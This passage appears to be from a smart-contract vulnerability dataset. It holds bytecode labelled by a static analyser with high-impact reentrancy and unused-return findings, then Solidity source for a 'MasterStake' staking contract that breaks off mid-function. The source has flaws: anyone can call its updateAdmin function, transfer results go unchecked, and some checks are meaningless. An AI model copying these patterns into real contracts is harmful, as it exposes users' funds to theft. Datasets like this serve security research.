ffffffffffffffffffff16815260200190815260200160002054611e43565b9050919050565b610a34611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612f0b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b87611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612f0b565b60405180910390fd5b670de0b6b36bc93600600f81905550670de0b6b36bc93600601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f5348494243415700000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca7611448565b848461161b565b6001905092915050565b610cc0611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612f0b565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83670de0b6b36bc93600611d1290919063ffffffff16565b611d8d90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd2611448565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611eb1565b50565b610e13611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612f0b565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612fab565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b36bc93600611450565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190612870565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105f57600080fd5b505afa158015611073573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110979190612870565b6040518363ffffffff1660e01b81526004016110b4929190612d5b565b602060405180830381600087803b1580156110ce57600080fd5b505af11580156110e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111069190612870565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061118f306109db565b60008061119a610c34565b426040518863ffffffff1660e01b81526004016111bc96959493929190612dad565b6060604051808303818588803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061120e9190612a40565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555061127660646112686002670de0b6b36bc93600611d1290919063ffffffff16565b611d8d90919063ffffffff16565b600f819055506112ab606461129d6004670de0b6b36bc93600611d1290919063ffffffff16565b611d8d90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161136b929190612d84565b602060405180830381600087803b15801561138557600080fd5b505af1158015611399573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bd91906129e6565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b790612f8b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611530576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152790612eab565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160e9190612fcb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561168b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168290612f4b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f290612e4b565b60405180910390fd5b6000811161173e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173590612f2b565b60405180910390fd5b6000600a819055506006600b81905550611756610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c45750611794610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c9e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561186d5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119215750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119775750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561198f5750600e60179054906101000a900460ff165b15611acd57600f548111156119d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d090612e6b565b60405180910390fd5b601054816119e6846109db565b6119f09190613101565b1115611a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2890612f6b565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a7c57600080fd5b601e42611a899190613101565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b785750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bce5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611be4576000600a819055506008600b819055505b6000611bef306109db565b9050600e60159054906101000a900460ff16158015611c5c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c745750600e60169054906101000a900460ff165b15611c9c57611c8281611eb1565b60004790506000811115611c9a57611c9947611dd7565b5b505b505b611ca9838383612139565b505050565b6000838311158290611cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ced9190612e29565b60405180910390fd5b5060008385611d0591906131e2565b9050809150509392505050565b600080831415611d255760009050611d87565b60008284611d339190613188565b9050828482611d429190613157565b14611d82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7990612eeb565b60405180910390fd5b809150505b92915050565b6000611dcf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612149565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e3f573d6000803e3d6000fd5b5050565b6000600854821115611e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8190612e8b565b60405180910390fd5b6000611e946121ac565b9050611ea98184611d8d90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ee957611ee86133b7565b5b604051908082528060200260200182016040528015611f175781602001602082028036833780820191505090505b5090503081600081518110611f2f57611f2e613388565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fd157600080fd5b505afa158015611fe5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120099190612870565b8160018151811061201d5761201c613388565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061208430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611450565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120e8959493929190612fe6565b600060405180830381600087803b15801561210257600080fd5b505af1158015612116573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121448383836121d7565b505050565b60008083118290612190576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121879190612e29565b60405180910390fd5b506000838561219f9190613157565b9050809150509392505050565b60008060006121b96123a2565b915091506121d08183611d8d90919063ffffffff16565b9250505090565b6000806000806000806121e987612401565b95509550955095509550955061224786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122dc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232881612511565b61233284836125ce565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161238f9190612fcb565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b36bc9360090506123d6670de0b6b36bc93600600854611d8d90919063ffffffff16565b8210156123f457600854670de0b6b36bc936009350935050506123fd565b81819350935050505b9091565b600080600080600080600080600061241e8a600a54600b54612608565b925092509250600061242e6121ac565b905060008060006124418e87878761269e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cae565b905092915050565b60008082846124c29190613101565b905083811015612507576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fe90612ecb565b60405180910390fd5b8091505092915050565b600061251b6121ac565b905060006125328284611d1290919063ffffffff16565b905061258681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125e38260085461246990919063ffffffff16565b6008819055506125fe816009546124b390919063ffffffff16565b6009819055505050565b6000806000806126346064612626888a611d1290919063ffffffff16565b611d8d90919063ffffffff16565b9050600061265e6064612650888b611d1290919063ffffffff16565b611d8d90919063ffffffff16565b9050600061268782612679858c61246990919063ffffffff16565b61246990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126b78589611d1290919063ffffffff16565b905060006126ce8689611d1290919063ffffffff16565b905060006126e58789611d1290919063ffffffff16565b9050600061270e82612700858761246990919063ffffffff16565b61246990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273a61273584613080565b61305b565b9050808382526020820190508285602086028201111561275d5761275c6133eb565b5b60005b8581101561278d57816127738882612797565b845260208401935060208301925050600181019050612760565b5050509392505050565b6000813590506127a681613701565b92915050565b6000815190506127bb81613701565b92915050565b600082601f8301126127d6576127d56133e6565b5b81356127e6848260208601612727565b91505092915050565b6000813590506127fe81613718565b92915050565b60008151905061281381613718565b92915050565b6000813590506128288161372f565b92915050565b60008151905061283d8161372f565b92915050565b600060208284031215612859576128586133f5565b5b600061286784828501612797565b91505092915050565b600060208284031215612886576128856133f5565b5b6000612894848285016127ac565b91505092915050565b600080604083850312156128b4576128b36133f5565b5b60006128c285828601612797565b92505060206128d385828601612797565b9150509250929050565b6000806000606084860312156128f6576128f56133f5565b5b600061290486828701612797565b935050602061291586828701612797565b925050604061292686828701612819565b9150509250925092565b60008060408385031215612947576129466133f5565b5b600061295585828601612797565b925050602061296685828601612819565b9150509250929050565b600060208284031215612986576129856133f5565b5b600082013567ffffffffffffffff8111156129a4576129a36133f0565b5b6129b0848285016127c1565b91505092915050565b6000602082840312156129cf576129ce6133f5565b5b60006129dd848285016127ef565b91505092915050565b6000602082840312156129fc576129fb6133f5565b5b6000612a0a84828501612804565b91505092915050565b600060208284031215612a2957612a286133f5565b5b6000612a3784828501612819565b91505092915050565b600080600060608486031215612a5957612a586133f5565b5b6000612a678682870161282e565b9350506020612a788682870161282e565b9250506040612a898682870161282e565b9150509250925092565b6000612a9f8383612aab565b60208301905092915050565b612ab481613216565b82525050565b612ac381613216565b82525050565b6000612ad4826130bc565b612ade81856130df565b9350612ae9836130ac565b8060005b83811015612b1a578151612b018882612a93565b9750612b0c836130d2565b925050600181019050612aed565b5085935050505092915050565b612b3081613228565b82525050565b612b3f8161326b565b82525050565b6000612b50826130c7565b612b5a81856130f0565b9350612b6a81856020860161327d565b612b73816133fa565b840191505092915050565b6000612b8b6023836130f0565b9150612b968261340b565b604082019050919050565b6000612bae6019836130f0565b9150612bb98261345a565b602082019050919050565b6000612bd1602a836130f0565b9150612bdc82613483565b604082019050919050565b6000612bf46022836130f0565b9150612bff826134d2565b604082019050919050565b6000612c17601b836130f0565b9150612c2282613521565b602082019050919050565b6000612c3a6021836130f0565b9150612c458261354a565b604082019050919050565b6000612c5d6020836130f0565b9150612c6882613599565b602082019050919050565b6000612c806029836130f0565b9150612c8b826135c2565b604082019050919050565b6000612ca36025836130f0565b9150612cae82613611565b604082019050919050565b6000612cc6601a836130f0565b9150612cd182613660565b602082019050919050565b6000612ce96024836130f0565b9150612cf482613689565b604082019050919050565b6000612d0c6017836130f0565b9150612d17826136d8565b602082019050919050565b612d2b81613254565b82525050565b612d3a8161325e565b82525050565b6000602082019050612d556000830184612aba565b92915050565b6000604082019050612d706000830185612aba565b612d7d6020830184612aba565b9392505050565b6000604082019050612d996000830185612aba565b612da66020830184612d22565b9392505050565b600060c082019050612dc26000830189612aba565b612dcf6020830188612d22565b612ddc6040830187612b36565b612de96060830186612b36565b612df66080830185612aba565b612e0360a0830184612d22565b979650505050505050565b6000602082019050612e236000830184612b27565b92915050565b60006020820190508181036000830152612e438184612b45565b905092915050565b60006020820190508181036000830152612e6481612b7e565b9050919050565b60006020820190508181036000830152612e8481612ba1565b9050919050565b60006020820190508181036000830152612ea481612bc4565b9050919050565b60006020820190508181036000830152612ec481612be7565b9050919050565b60006020820190508181036000830152612ee481612c0a565b9050919050565b60006020820190508181036000830152612f0481612c2d565b9050919050565b60006020820190508181036000830152612f2481612c50565b9050919050565b60006020820190508181036000830152612f4481612c73565b9050919050565b60006020820190508181036000830152612f6481612c96565b9050919050565b60006020820190508181036000830152612f8481612cb9565b9050919050565b60006020820190508181036000830152612fa481612cdc565b9050919050565b60006020820190508181036000830152612fc481612cff565b9050919050565b6000602082019050612fe06000830184612d22565b92915050565b600060a082019050612ffb6000830188612d22565b6130086020830187612b36565b818103604083015261301a8186612ac9565b90506130296060830185612aba565b6130366080830184612d22565b9695505050505050565b60006020820190506130556000830184612d31565b92915050565b6000613065613076565b905061307182826132b0565b919050565b6000604051905090565b600067ffffffffffffffff82111561309b5761309a6133b7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310c82613254565b915061311783613254565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314c5761314b61332a565b5b828201905092915050565b600061316282613254565b915061316d83613254565b92508261317d5761317c613359565b5b828204905092915050565b600061319382613254565b915061319e83613254565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131d7576131d661332a565b5b828202905092915050565b60006131ed82613254565b91506131f883613254565b92508282101561320b5761320a61332a565b5b828203905092915050565b600061322182613234565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327682613254565b9050919050565b60005b8381101561329b578082015181840152602081019050613280565b838111156132aa576000848401525b50505050565b6132b9826133fa565b810181811067ffffffffffffffff821117156132d8576132d76133b7565b5b80604052505050565b60006132ec82613254565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561331f5761331e61332a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61370a81613216565b811461371557600080fd5b50565b61372181613228565b811461372c57600080fd5b50565b61373881613254565b811461374357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206074cd0b07ec7ef6374fa5fc33ba24810b217d25f3f611237204928d42761ed564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,538
0xcf12e1eb3dc7eb3d50a8c646326916720efbba1f
/* SPDX-License-Identifier: Unlicensed */ //smart contract developed by snipe.finance //email: info@snipe.finance pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; mapping(address => bool) private _admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _owner = _msgSender(); _admin[_owner] = true; emit OwnershipTransferred(address(0), _owner); } function owner() external view returns (address) { return _owner; } function isAdminCheck(address addressToCheck) external view returns (bool) { return _admin[addressToCheck]; } function updateAdmin(address addressToSet, bool isAdmin) external returns (string memory, address, bool) { _admin[addressToSet] = isAdmin; return("Admin status", addressToSet, _admin[addressToSet]); } modifier onlyOwner() { require(_owner == _msgSender(), "You are not the Owner!"); _; } modifier onlyAdmin() { require(_admin[_msgSender()], "You are not an Admin!"); _; } function transferOwnership(address _address) public virtual onlyOwner { emit OwnershipTransferred(_owner, _address); _owner = _address; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract MasterStake is Ownable { struct coinToStake{ address _address; uint256 _decimals; uint256 _stakeLimitWholeNumber; } struct coinToReward{ address _address; uint256 _decimals; uint256 _poolAmount; uint256 _stakePercentage; uint256 _stakeRateInEpoch; } struct StakePool { uint256 _poolID; uint256 _stakeFee; uint256 _unStakeFee; coinToStake _coinToStake; coinToReward _coinToReward; uint256 _amountStaked; uint256 _rewardClaimed; uint256 _startTime; uint256 _endDate; } struct UserStake { uint256 _stakeID; address _user; uint256 _poolID; uint256 _amountStaked; uint256 _startTime; uint256 _rewardClaimed; } // How many pools or stakes created uint256 public nextPoolID; uint256 public nextStakeID; address public feeCollector; mapping (uint256 => StakePool) public stakePoolFromPoolID; mapping (address => uint256[]) public stakesFromUser; mapping (uint256 => uint256[]) public stakesFromPoolID; mapping (uint256 => uint256) public poolFromStakeID; mapping (uint256 => uint256) public endDateFromPoolID; mapping (uint256 => bool) public isActiveFromPoolID; mapping (uint256 => mapping (address => bool)) public isUserStaked; mapping (uint256 => mapping (address => UserStake)) public userStakeFromPoolID; event Stake(uint256 indexed poolID, address indexed sender,uint256 newStakeBal); event UnStake(uint256 indexed poolID, address indexed sender,uint256 unStakeAmount); event Fee(uint256 indexed poolID, address indexed sender,uint256 feeAmount, string feeType); event Harvest(uint256 indexed poolID, address indexed sender,uint256 availableHarvest); event NewStakePool(uint256 indexed poolID, address indexed tokenStake,address indexed tokenReward); event EndStakePool(uint256 indexed poolID, uint256 endDate); event UpdateStakeFees(uint256 indexed poolID, uint256 stakeFee, uint256 unStakeFee); //modifiers modifier isPoolExist(uint256 _poolID) { require(_poolID <= nextPoolID, 'Staking Pool does not exist!'); _; } modifier isPoolActive(uint256 _poolID) { require(isActiveFromPoolID[_poolID], 'Staking for this pool is not active!'); _; } modifier isPoolEndTime(uint256 _poolID) { require(block.timestamp < endDateFromPoolID[_poolID], 'Staking for this pool has ended!'); _; } function getRewardPaidView(uint256 _poolID,address _sender) public view isPoolExist(_poolID) returns(uint256) { require(isUserStaked[_poolID][_sender], 'You have no stake in this pool!'); UserStake storage currentUserStake = userStakeFromPoolID[_poolID][_sender]; StakePool storage currentPool = stakePoolFromPoolID[_poolID]; coinToStake storage cs = currentPool._coinToStake; coinToReward storage cr = currentPool._coinToReward; uint256 amountStaked = currentUserStake._amountStaked; if(amountStaked < 0){ revert('No coins staked!'); } if(endDateFromPoolID[_poolID] <= block.timestamp){ return ( ( amountStaked * cr._stakePercentage / (10 ** cs._decimals) ) * (endDateFromPoolID[_poolID] - currentUserStake._startTime) / cr._stakeRateInEpoch ) * (10 ** cr._decimals) / 100; }else{ return ( ( amountStaked * cr._stakePercentage / (10 ** cs._decimals) ) * (block.timestamp - currentUserStake._startTime) / cr._stakeRateInEpoch ) * (10 ** cr._decimals) / 100; } } function getRewardPaidPool(uint256 _poolID, uint256 _endDate) internal view isPoolExist(_poolID) returns(uint256) { StakePool storage currentPool = stakePoolFromPoolID[_poolID]; coinToStake storage cs = currentPool._coinToStake; coinToReward storage cr = currentPool._coinToReward; uint256 amountStaked = currentPool._amountStaked; return ( ( amountStaked * cr._stakePercentage / (10 ** cs._decimals) ) * (_endDate - currentPool._startTime) / cr._stakeRateInEpoch ) * (10 ** cr._decimals) / 100; } // user functions function stake(uint256 _poolID, uint256 _stakeAmountWithDecimal) external isPoolExist(_poolID) isPoolEndTime(_poolID){ address sender = _msgSender(); StakePool storage currentPool = stakePoolFromPoolID[_poolID]; coinToStake storage cs = currentPool._coinToStake; require(_stakeAmountWithDecimal / (10 ** cs._decimals) <= cs._stakeLimitWholeNumber || cs._stakeLimitWholeNumber == 0, 'You are over the stake limit!'); uint256 newStakeBal; coinToReward storage cr = currentPool._coinToReward; uint256 feeAmount = (_stakeAmountWithDecimal * currentPool._stakeFee / 100); if(isUserStaked[_poolID][sender]){ UserStake storage currentUserStake = userStakeFromPoolID[_poolID][sender]; uint256 tokenStakeLimitWithZeros; if(cs._stakeLimitWholeNumber == 0){ tokenStakeLimitWithZeros = 0; }else{ tokenStakeLimitWithZeros = cs._stakeLimitWholeNumber * (10**cs._decimals); } require(_stakeAmountWithDecimal + currentUserStake._amountStaked <= tokenStakeLimitWithZeros || tokenStakeLimitWithZeros == 0, 'You are over the stake limit!'); uint256 availableHarvest = getRewardPaidView(_poolID,sender); if(availableHarvest < 0 ){ availableHarvest = 0; } // collect stake IERC20(cs._address).transferFrom(sender,address(this),_stakeAmountWithDecimal); // claim or reStake reward token if same as stake if(cs._address == cr._address){ newStakeBal = (_stakeAmountWithDecimal - feeAmount) + availableHarvest; }else{ newStakeBal = _stakeAmountWithDecimal - feeAmount; IERC20(cr._address).transfer(sender,availableHarvest); } // update stake amount currentUserStake._rewardClaimed += availableHarvest; currentPool._rewardClaimed += availableHarvest; currentPool._amountStaked += newStakeBal; currentUserStake._amountStaked += newStakeBal; currentUserStake._startTime = block.timestamp; emit Harvest(_poolID,sender,availableHarvest); }else{ //start newStake uint256 userStartTime = block.timestamp; IERC20(cs._address).transferFrom(sender,address(this),_stakeAmountWithDecimal); newStakeBal = _stakeAmountWithDecimal - feeAmount; isUserStaked[_poolID][sender] = true; poolFromStakeID[nextStakeID] = _poolID; stakesFromPoolID[_poolID].push(nextStakeID); stakesFromUser[sender].push(nextStakeID); userStakeFromPoolID[_poolID][sender] = UserStake(nextStakeID,sender,_poolID,newStakeBal,userStartTime,0); // update stake amount currentPool._amountStaked += newStakeBal; nextStakeID++; } //collect fee IERC20(cs._address).transfer(feeCollector,feeAmount); emit Fee(_poolID,sender,feeAmount,'Stake'); emit Stake(_poolID,sender,newStakeBal); } function unStake(uint256 _poolID, uint256 _unStakeAmountWithDecimal) external isPoolExist(_poolID) { address sender = _msgSender(); require(isUserStaked[_poolID][sender], 'You have no stake in this pool!'); UserStake storage currentUserStake = userStakeFromPoolID[_poolID][sender]; uint256 amountStaked = currentUserStake._amountStaked; StakePool storage currentPool = stakePoolFromPoolID[_poolID]; coinToStake storage cs = currentPool._coinToStake; uint256 _unStakeAmount = _unStakeAmountWithDecimal; require(_unStakeAmount <= amountStaked, 'You do not have that amount available!'); coinToReward storage cr = currentPool._coinToReward; uint256 availableHarvest = getRewardPaidView(_poolID,sender); if(availableHarvest < 0 ){ availableHarvest = 0; } uint256 unStakeFee = currentPool._unStakeFee; uint256 feeAmount = (_unStakeAmount * unStakeFee / 100); // unstake currentPool._amountStaked -= _unStakeAmount; currentUserStake._amountStaked -= _unStakeAmount; uint256 newUnStakeBal = _unStakeAmount - feeAmount; if(cs._address == cr._address){ uint256 newUnStakeBalHarvest = _unStakeAmount + availableHarvest - feeAmount ; IERC20(cs._address).transfer(sender,newUnStakeBalHarvest); }else{ IERC20(cs._address).transfer(sender,newUnStakeBal); IERC20(cr._address).transfer(sender,availableHarvest); } // update claim currentUserStake._rewardClaimed += availableHarvest; currentPool._rewardClaimed += availableHarvest; currentUserStake._startTime = block.timestamp; // collect feeAmount IERC20(cs._address).transfer(feeCollector,feeAmount); emit Fee(_poolID,sender,feeAmount,'unStake'); emit UnStake(_poolID,sender,_unStakeAmount); emit Harvest(_poolID,sender,availableHarvest); } function harvest(uint256 _poolID) external isPoolExist(_poolID) { address sender = _msgSender(); require(isUserStaked[_poolID][sender], 'You have no stake in this pool!'); 